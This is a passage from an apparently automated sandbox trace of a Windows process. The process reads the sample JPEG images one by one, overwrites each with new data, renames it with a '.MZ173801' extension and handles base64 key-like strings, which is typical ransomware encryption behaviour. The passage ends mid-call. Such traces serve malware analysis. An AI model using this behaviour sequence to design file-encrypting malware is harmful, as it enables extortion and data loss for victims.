(lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee00000 [0143.758] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed90000 [0143.764] VirtualQuery (in: lpAddress=0x7ee00000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ee00000, AllocationBase=0x7ee00000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.764] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed00000 [0143.776] VirtualQuery (in: lpAddress=0x7ed90000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ed90000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.776] VirtualAlloc (lpAddress=0x7ed90000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ed90000 [0143.776] VirtualAlloc (lpAddress=0x7ed90000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed90000 [0143.781] VirtualQuery (in: lpAddress=0x7edc0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7edc0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.781] VirtualAlloc (lpAddress=0x7edc0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edc0000 [0143.781] VirtualAlloc (lpAddress=0x7edc0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edc0000 [0143.799] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.808] WriteFile (in: hFile=0x224, lpBuffer=0x7ee00010*, nNumberOfBytesToWrite=0xbea1f, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ee00010*, lpNumberOfBytesWritten=0x18f6d0*=0xbea1f, lpOverlapped=0x0) returned 1 [0143.825] CloseHandle (hObject=0x224) returned 1 [0143.825] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.mz173801")) returned 1 [0143.826] VirtualFree (lpAddress=0x7eed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.832] VirtualFree (lpAddress=0x7ee00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.837] VirtualQuery (in: lpAddress=0x7ed00000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed00000, AllocationBase=0x7ed00000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.837] VirtualFree (lpAddress=0x7ed00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.840] VirtualQuery (in: lpAddress=0x7ed90000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed90000, AllocationBase=0x7ed90000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.840] VirtualFree (lpAddress=0x7ed90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.841] VirtualQuery (in: lpAddress=0x7edc0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7edc0000, AllocationBase=0x7edc0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.841] VirtualFree (lpAddress=0x7edc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.842] GetCurrentThreadId () returned 0x9fc [0143.842] GetCurrentThreadId () returned 0x9fc [0143.842] GetCurrentThreadId () returned 0x9fc [0143.842] GetCurrentThreadId () returned 0x9fc [0143.842] GetCurrentThreadId () returned 0x9fc [0143.842] GetCurrentThreadId () returned 0x9fc [0143.842] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0143.842] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.842] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c)) returned 1 [0143.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.846] GetCurrentThreadId () returned 0x9fc [0143.846] GetCurrentThreadId () returned 0x9fc [0143.846] GetCurrentThreadId () returned 0x9fc [0143.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.847] GetCurrentThreadId () returned 0x9fc [0143.847] GetCurrentThreadId () returned 0x9fc [0143.847] GetCurrentThreadId () returned 0x9fc [0143.847] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.847] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.847] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.847] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x8907c [0143.847] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.847] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef10000 [0143.847] ReadFile (in: hFile=0x224, lpBuffer=0x7ef10010, nNumberOfBytesToRead=0x8907c, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7ef10010*, lpNumberOfBytesRead=0x18f6c4*=0x8907c, lpOverlapped=0x0) returned 1 [0143.858] CloseHandle (hObject=0x224) returned 1 [0143.858] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee80000 [0143.861] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee10000 [0143.867] VirtualQuery (in: lpAddress=0x7ee80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ee80000, AllocationBase=0x7ee80000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.867] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed80000 [0143.886] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.892] WriteFile (in: hFile=0x224, lpBuffer=0x7ee80010*, nNumberOfBytesToWrite=0x8907c, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ee80010*, lpNumberOfBytesWritten=0x18f6d0*=0x8907c, lpOverlapped=0x0) returned 1 [0143.902] CloseHandle (hObject=0x224) returned 1 [0143.902] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.mz173801")) returned 1 [0143.902] VirtualFree (lpAddress=0x7ef10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.905] VirtualFree (lpAddress=0x7ee80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.909] VirtualFree (lpAddress=0x7ed80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.911] GetCurrentThreadId () returned 0x9fc [0143.911] GetCurrentThreadId () returned 0x9fc [0143.911] GetCurrentThreadId () returned 0x9fc [0143.911] GetCurrentThreadId () returned 0x9fc [0143.911] GetCurrentThreadId () returned 0x9fc [0143.911] GetCurrentThreadId () returned 0x9fc [0143.912] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0143.912] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.912] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b)) returned 1 [0143.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 